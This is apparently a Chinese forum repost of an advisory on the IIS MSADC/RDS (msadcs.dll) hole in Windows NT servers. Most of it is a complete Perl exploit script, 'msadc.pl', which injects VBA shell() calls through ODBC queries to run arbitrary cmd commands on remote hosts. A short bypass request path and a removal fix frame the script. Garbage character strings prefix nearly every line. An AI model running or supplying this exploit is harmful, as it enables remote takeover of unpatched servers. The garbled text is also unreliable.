IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i?;#Z Nh AU}kIm_+ 涉及程序：
u}|v;:|j Microsoft NT server
d&raHF* 5RFro^S 9E 描述：
Q?1J<(oq9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{59 >U~ 4=/j h:h 详细：
!%ju.Xs8 如果你没有时间读详细内容的话，就删除:
E;{R Nf| c:\Program Files\Common Files\System\Msadc\msadcs.dll
m*A b<$y 有关的安全问题就没有了。
GWWg3z.o"W f?
@Qt<+k 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
\)r M C] $!MP0f\q
g 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
vI0,6fOd6 关于利用ODBC远程漏洞的描述，请参看:
\ fiy[W/k /51$o\4 S http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OKlR`Vaty D
5n \h5 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
d k
nM| http://www.microsoft.com/security/bulletins/MS99-025faq.asp A,~KrRd 7@%qm|i>w 这里不再论述。
TB* t^ E G} g;<,g~ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
6XF Ufi+ ]vvA]e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Sx'oa$J 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
7@\.()
"Zh,;)hS xb 3 G,F #将下面这段保存为txt文件，然后: "perl -x 文件名"
wbAwmOiZ dGm%If9P #!perl
$f0u #
@jm +TW # MSADC/RDS 'usage' (aka exploit) script
@n ?"*B #
41<h |WA # by rain.forest.puppy
z$R&u=J #
Nh }-6|M # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)) f@9m # beta test and find errors!
Rw{'
O]Q* -Pp{aF e use Socket; use Getopt::Std;
pxgf%P<7 getopts("e:vd:h:XR", \%args);
4@3 \Ihv c-(RjQ~M5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
H'z AMGZa #p>&|I if (!defined $args{h} && !defined $args{R}) {
:?\29j#*V print qq~
iYgVSV Ng Usage: msadc.pl -h <host> { -d <delay> -X -v }
t!C z;ajNi -h <host> = host you want to scan (ip or domain)
x\8g ICf -d <seconds> = delay between calls, default 1 second
4X]/8 %]V -X = dump Index Server path table, if available
t3Gy *B -v = verbose
Os-Z_zSl6 -e = external dictionary file for step 5
9dNkKMc@ SNOc1c<~ Or a -R will resume a command session
JxtzI2 <q$Tk , ~; exit;}
P|@[D=y }6\,kFc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
iKE&yO3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Awxm[:r> ^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
N^$ q;% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#% k_V+o3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8c-ys-"# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
iv_3R}IbX JI]Lz1i if (!defined $args{R}){ $ret = &has_msadc;
f&4+-w.:V| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y EfAa 6 @y7KP$t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
e:nByzdH0[ . "cmd /c ";
F t11?D
B $in=<STDIN>; chomp $in;
S/) ),~`4 $command="cmd /c " . $in ;
9;v3
(U+: #~nXAs]Q if (defined $args{R}) {&load; exit;}
y/Y}C.IWp) " $farDDoF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3-hcKE &try_btcustmr;
>y#MEN>? V'=;M[& print "\nStep 2: Trying to make our own DSN...";
!AE;s}v)0{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_lk V T'] j%
7Gje[ print "\nStep 3: Trying known DSNs...";
lq OpADLS3 &known_dsn;
#Mn?Nn ME]4tu print "\nStep 4: Trying known .mdbs...";
w/o^OjwQ &known_mdb;
eUQmW^
Y+Z+Y)K if (defined $args{e}){
tq h)yr; print "\nStep 5: Trying dictionary of DSN names...";
,\"x#Cc f &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}|| p#R@? 1/? Wa print "Sorry Charley...maybe next time?\n";
|OF3O,5z exit;
#oTVf Y# "KK}} $> ##############################################################################
,H"}Rw S;#:~?dU sub sendraw { # ripped and modded from whisker
a%m
)8N ;C sleep($delay); # it's a DoS on the server! At least on mine...
1 3/,^? my ($pstr)=@_;
f fL]_E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pl B8iN`x< die("Socket problems\n");
59D '*!l- if(connect(S,pack "SnA4x8",2,80,$target)){
{l$)X select(S); $|=1;
A4@z+ebb l print $pstr; my @in=<S>;
{z_cczJ - select(STDOUT); close(S);
/ojwO J return @in;
a. D cmy{ } else { die("Can't connect...\n"); }}
s3JzYDpy !`=iKe&%E ##############################################################################
A'jL+dI. Q"
h]p sub make_header { # make the HTTP request
mv:@ D my $msadc=<<EOT
u-iQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
\Qah*1 User-Agent: ACTIVEDATA
jm<^WQ%Cc Host: $ip
0qFO +nC Content-Length: $clen
*(yw6(9% Connection: Keep-Alive
c{1)- &W ? 3fnt " ADCClientVersion:01.06
Zj]tiN f\" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
2Xv}JPS2As >x6\A7 --!ADM!ROX!YOUR!WORLD!
t=Rl`1 =(K Content-Type: application/x-varg
k8st XW-w Content-Length: $reqlen
hk5!$# ^ K\Q4u4DjbJ EOT
% 1k"K~eu ; $msadc=~s/\n/\r\n/g;
-FZNk } return $msadc;}
1VFC K& }|Q \@3& ##############################################################################
&&<l} E Szu @{lpP@ sub make_req { # make the RDS request
8v4krz<Iq my ($switch, $p1, $p2)=@_;
igTs[q=Ak my $req=""; my $t1, $t2, $query, $dsn;
K{I "2c 5Xxdm-0 if ($switch==1){ # this is the btcustmr.mdb query
:dbO|]Xf $query="Select * from Customers where City=" . make_shell();
Y54yojvV $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$> QJ%v9+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
{wSz >, nt>3 i! l elsif ($switch==2){ # this is general make table query
/!Ag/SmS!9 $query="create table AZZ (B int, C varchar(10))";
P|ibUxSA~, $dsn="$p1";}
J3ao m,$o }KUK|p5 elsif ($switch==3){ # this is general exploit table query
!U4YA1>> $query="select * from AZZ where C=" . make_shell();
g/$R uT2U $dsn="$p1";}
G L0P&$ h aO inD elsif ($switch==4){ # attempt to hork file info from index server
r\fkx> $query="select path from scope()";
$ZyOBxI $dsn="Provider=MSIDXS;";}
4Hf'/%kW XLiwE$:t% elsif ($switch==5){ # bad query
~5|R`% $query="select";
l =P)$O|=w $dsn="$p1";}
VSUWX 1k4% )Az0.} $t1= make_unicode($query);
b (@GKH"W $t2= make_unicode($dsn);
Es}`S Ie/ $req = "\x02\x00\x03\x00";
H'$H@Kn]- $req.= "\x08\x00" . pack ("S1", length($t1));
:##$-K*W" $req.= "\x00\x00" . $t1 ;
S3HyB
b $req.= "\x08\x00" . pack ("S1", length($t2));
vD#kH 1 $req.= "\x00\x00" . $t2 ;
voRb>xF $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
g51UIN]o- return $req;}
Zp{K_ec{ B)DuikV.D ##############################################################################
:/Pxf N5 _8PNMbv{ sub make_shell { # this makes the shell() statement
+pK 35u return "'|shell(\"$command\")|'";}
VPO~veQ PQ_A^ 9 5 ##############################################################################
M7Xn=jc be-HF;lZe' sub make_unicode { # quick little function to convert to unicode
@`B_Q v@ my ($in)=@_; my $out;
>f&L7@ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;=P!fvHk return $out;}
D{d%*hlI 3 t&JOASYC ##############################################################################
d 7X7 _ mg. _ c sub rdo_success { # checks for RDO return success (this is kludge)
QaE! ?R my (@in) = @_; my $base=content_start(@in);
(8ct'Q ; if($in[$base]=~/multipart\/mixed/){
PVxu8n return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~S~+'V,d return 0;}
@v&P;=lU w?*79 u ##############################################################################
4k{xo~+%, _XT; sub make_dsn { # this makes a DSN for us
2Gj)fMK38 my @drives=("c","d","e","f");
4,YL15. print "\nMaking DSN: ";
k]-Q3 V foreach $drive (@drives) {
; c|_z 9+ print "$drive: ";
l%0-W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
c*<BU6y "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"ig)7X+Wz| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M;AvOk|& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
pIpdVKen return 0 if $2 eq "404"; # not found/doesn't exist
M| @@
LJ' if($2 eq "200") {
k=p[Mlic/ foreach $line (@results) {
t5 ^hZZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!YO'u'4<aK } return 0;}
Mg}/gO% o D8*6h)~ ##############################################################################
}=| {"C /VEK<.,aMv sub verify_exists {
rN .8- my ($page)=@_;
aS>cXJ;= my @results=sendraw("GET $page HTTP/1.0\n\n");
3
Sf':N`u return $results[0];}
;U a48pSv ?Ec{%N% ##############################################################################
1x##b [LC /Wl8Jf7'
sub try_btcustmr {
(*vBpJyz% my @drives=("c","d","e","f");
plr3&T~,&S my @dirs=("winnt","winnt35","winnt351","win","windows");
b
ettOg &N/dxKZcc foreach $dir (@dirs) {
]sP print "$dir -> "; # fun status so you can see progress
Zv
mkb%8 foreach $drive (@drives) {
;5T}@4m| r print "$drive: "; # ditto
5TeGdfu @ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
rkdA4'66w $reqlenlen=length( "$reqlen" );
QAl 4w)F $clen= 206 + $reqlenlen + $reqlen;
6N Ogi bQN3\mvY my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/c!^(5K
fT if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
noB8*n0 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
I+3=|Ve f fX\y/C ##############################################################################
e:N;Jx# |RXXj [z sub odbc_error {
b>#dMRK my (@in)=@_; my $base;
;/ |tU
o$ my $base = content_start(@in);
psiuoYf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8090+ ( U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IZ Q*D) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{7$jwk $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<w d;W;B return $in[$base+4].$in[$base+5].$in[$base+6];}
?} E
M, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
%SCt_9u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/#t::b+>x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1@TL>jq /&c zaAR- ##############################################################################
qMA";Frt3N NCo!n$O1~ sub verbose {
rY@9nQ\>g my ($in)=@_;
4}*.0'Hz return if !$verbose;
9`^(M^ |c print STDOUT "\n$in\n";}
j`Ek : ]|K6Z>V ##############################################################################
>xF&>SDC qq?o^ _^4 sub save {
sS4V(:3s my ($p1, $p2, $p3, $p4)=@_;
t -}IKrbv open(OUT, ">rds.save") || print "Problem saving parameters...\n";
![I|hB print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Dwr" - close OUT;}
LU @1Gol ]vV)$xMX ##############################################################################
$n47D W & Z?&ZgaSz sub load {
/m^G 99N my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:}#j-ZCC"
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
xDS]k]/(T @p=<IN>; close(IN);
7.)_H $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3'0Jn6( $target= inet_aton($ip) || die("inet_aton problems");
tt6GtYrC 1 print "Resuming to $ip ...";
+nB0O/m'U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
RHbbj }B if($p[1]==1) {
x] R0zol $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]!jfrj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
cc1M9kVi my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
0$=U\[og if (rdo_success(@results)){print "Success!\n";}
+n% 8 *F& else { print "failed\n"; verbose(odbc_error(@results));}}
sK/ymEfRv elsif ($p[1]==3){
FGm!| iI if(run_query("$p[3]")){
TnKOr~ @* print "Success!\n";} else { print "failed\n"; }}
hOFvM&$ elsif ($p[1]==4){
YuJ{@"H if(run_query($drvst . "$p[3]")){
}!|$;3t+c print "Success!\n"; } else { print "failed\n"; }}
E]a ;Ydf~ exit;}
q]Xu #: X z/p^C~|} ##############################################################################
Y ;E'gP-J $ S 2
/* sub create_table {
tWaGCxaE my ($in)=@_;
@`^Z5n.4 $reqlen=length( make_req(2,$in,"") ) - 28;
bT AY5\wB $reqlenlen=length( "$reqlen" );
/L| x3RHs $clen= 206 + $reqlenlen + $reqlen;
TT#V'r\ my @results=sendraw(make_header() . make_req(2,$in,""));
376z~ return 1 if rdo_success(@results);
lh XD9ed my $temp= odbc_error(@results); verbose($temp);
Tfv @oPu return 1 if $temp=~/Table 'AZZ' already exists/;
&%(SkL_] return 0;}
*%atE $
)2zz>4 ##############################################################################
SD@ 0X[ ?=-/5A4K sub known_dsn {
y4=T0[
V # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
q& KNK my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
id`RscV] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>f1fvv6 "banner", "banners", "ads", "ADCDemo", "ADCTest");
`JGW8 _ %t74 *cX foreach $dSn (@dsns) {
M[-/ &;`f@ print ".";
bB*c d! 7y next if (!is_access("DSN=$dSn"));
uG YH4
if(create_table("DSN=$dSn")){
OI6m>XH? print "$dSn successful\n";
t!B,%,Dp if(run_query("DSN=$dSn")){
J'WOqAnPZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1r*@1y<0" print "Something's borked. Use verbose next time\n";}}} print "\n";}
VuK>lY & 0r!F]Rm -^ ##############################################################################
p`52 IEkbVIA( sub is_access {
INCD5dihJ my ($in)=@_;
Mdp'u$^! $reqlen=length( make_req(5,$in,"") ) - 28;
~u[1Vz4#3 $reqlenlen=length( "$reqlen" );
j|p=JrCJ $clen= 206 + $reqlenlen + $reqlen;
f%[xl6VE; my @results=sendraw(make_header() . make_req(5,$in,""));
n 1^h;2gz my $temp= odbc_error(@results);
Ruwp"T}mF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
zh(=kS ` return 0;}
' 9&@? P; <'hoN/g ##############################################################################
P^ lzbWj^ L i 9$N"2 sub run_query {
Tn\{*A my ($in)=@_;
;Cty"H, $reqlen=length( make_req(3,$in,"") ) - 28;
{CTJX2& $reqlenlen=length( "$reqlen" );
^bdXzjf $clen= 206 + $reqlenlen + $reqlen;
N{M25ucAHl my @results=sendraw(make_header() . make_req(3,$in,""));
dAOJ:
@y return 1 if rdo_success(@results);
W58%Zz4a my $temp= odbc_error(@results); verbose($temp);
pm [i#V<v return 0;}
3mg:9]X9 ,WW=,P ##############################################################################
z 61F q LA/Qm/T sub known_mdb {
#)S&Z><< my @drives=("c","d","e","f","g");
qIh9? |`U my @dirs=("winnt","winnt35","winnt351","win","windows");
qamq9F$V my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)N\ B C dAM]ZR< # this is sparse, because I don't know of many
qH d7C3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
zq3f@xOK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
WU,b<PU & "\\system32\\certmdb.mdb",
)vuIO(8F# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3&+ nV1 Z:2%gU&W my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
E9 @Sc>e "\\cfusion\\cfapps\\forums\\forums_.mdb",
q{f (T\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s<3M_mt "\\cfusion\\cfapps\\security\\realm_.mdb",
< R%TCVwC@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{ qCFd "\\cfusion\\database\\cfexamples.mdb",
t2m7Yh5B "\\cfusion\\database\\cfsnippets.mdb",
K<pZ*l "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}-9 c1&m "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
y*=Ipdj "\\cfusion\\brighttiger\\database\\cleam.mdb",
VG50n<m9 "\\cfusion\\database\\smpolicy.mdb",
Q=#FvsF#z3 "\\cfusion\\database\cypress.mdb",
2j ]uB0 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$Ny: At "\\website\\cgi-win\\dbsample.mdb",
WfTl\Dxw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
dqFp"Xe"% "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
.CW,Td3f! ); #these are just
_E/ foreach $drive (@drives) {
"2 :zWh7| foreach $dir (@dirs){
xNLgcb@v> foreach $mdb (@sysmdbs) {
q:vGG K^ print ".";
wZKmU if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.4<lw print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f<'D?d)L^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
W"A3$/ nq^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
N ]\) Ok } else { print "Something's borked. Use verbose next time\n"; }}}}}
r!|h3*YA Ip *8R]W foreach $drive (@drives) {
Ev3,p`zS._ foreach $mdb (@mdbs) {
7m:TY> { print ".";
nXjSf if(create_table($drv . $drive . $dir . $mdb)){
}n"gX>e~ print "\n" . $drive . $dir . $mdb . " successful\n";
J(P'!#z^ if(run_query($drv . $drive . $dir . $mdb)){
DH4IF i> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
s; sr(34
} else { print "Something's borked. Use verbose next time\n"; }}}}
15Jc PDV }
$)6M@S W o,93] ##############################################################################
0 ;4 YU%u TnQW ~_: sub hork_idx {
&(|Ot`el]v print "\nAttempting to dump Index Server tables...\n";
152LdZevF print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
2|NQ5OA0 $reqlen=length( make_req(4,"","") ) - 28;
Oa M~rze $reqlenlen=length( "$reqlen" );
O]61guxro $clen= 206 + $reqlenlen + $reqlen;
'#Do( U' my @results=sendraw2(make_header() . make_req(4,"",""));
J\ J3 'u if (rdo_success(@results)){
P=s3&NDD my $max=@results; my $c; my %d;
9eR";Wm]) for($c=19; $c<$max; $c++){
'rVB2
`z- $results[$c]=~s/\x00//g;
Id8e%) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
DwWm(8&6;} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*V[I&dKq $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z>'vS+axV $d{"$1$2"}="";}
=CjWPZShV foreach $c (keys %d){ print "$c\n"; }
b%d, X-3 } else {print "Index server doesn't seem to be installed.\n"; }}
`v'yGsIV lc]cs D ##############################################################################
@iBmOt>3 g(G$*#}o8A sub dsn_dict {
SN[ar&I open(IN, "<$args{e}") || die("Can't open external dictionary\n");
'Axe:8LA' while(<IN>){
t5 P8?q\ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
@![1W@J next if (!is_access("DSN=$dSn"));
_ G2)=yj] if(create_table("DSN=$dSn")){
?>gr9w\ print "$dSn successful\n";
S9'Xsh if(run_query("DSN=$dSn")){
;3%Y@FS@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U VW4KUxR print "Something's borked. Use verbose next time\n";}}}
vjA!+_I6 print "\n"; close(IN);}
#Kx @:I Tz0XBH_ ##############################################################################
_3#_6>=M EZT 8^m sub sendraw2 { # ripped and modded from whisker
BaM F5f+ sleep($delay); # it's a DoS on the server! At least on mine...
b~<:k\EE my ($pstr)=@_;
Mq#Hi9SKY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.LbAR
u die("Socket problems\n");
abS3hf if(connect(S,pack "SnA4x8",2,80,$target)){
!JVv`YN print "Connected. Getting data";
F'JT7# eX open(OUT,">raw.out"); my @in;
<Ynrw4[)t select(S); $|=1; print $pstr;
~n(LBA while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0r?]b*IEK close(OUT); select(STDOUT); close(S); return @in;
Y@ vC!C } else { die("Can't connect...\n"); }}
5'<a,,RKu NSq29# ##############################################################################
'a:';hU3f R0bg t2J sub content_start { # this will take in the server headers
FL&L$#X my (@in)=@_; my $c;
<UTO\w% for ($c=1;$c<500;$c++) {
Zcg-i:@ if($in[$c] =~/^\x0d\x0a/){
,C:^K`k& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
kUr/*an else { return $c+1; }}}
R38
\&F return -1;} # it should never get here actually
Yj l:i*u/ 8A u W>7_ ##############################################################################
|;I"Oc.w^R 7f<@+& sub funky {
1Ve~P"w my (@in)=@_; my $error=odbc_error(@in);
~B 7<Yg if($error=~/ADO could not find the specified provider/){
7|o}m}yVx print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%zhSSB =BJ exit;}
3T [zieX if($error=~/A Handler is required/){
czB),vooz print "\nServer has custom handler filters (they most likely are patched)\n";
b'vIX<
g exit;}
_ D"S if($error=~/specified Handler has denied Access/){
(nYGN$qC9 print "\nServer has custom handler filters (they most likely are patched)\n";
kjt(OFh'Y+ exit;}}
l% qh^0 by$mD_sr ##############################################################################
\ tP*Pz NceK>:: 56 sub has_msadc {
AKS. XW my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|:SIyXGbY my $base=content_start(@results);
Zv9% }%7p return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e2pFX? return 0;}
2(P<TP._E LKZv#b[h ########################
p }Bh g!z &lQnZ ,L-V?B(UQ 解决方案：
pIKfTkSqH 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
E
`V?Io 2、移除web 目录: /msadc
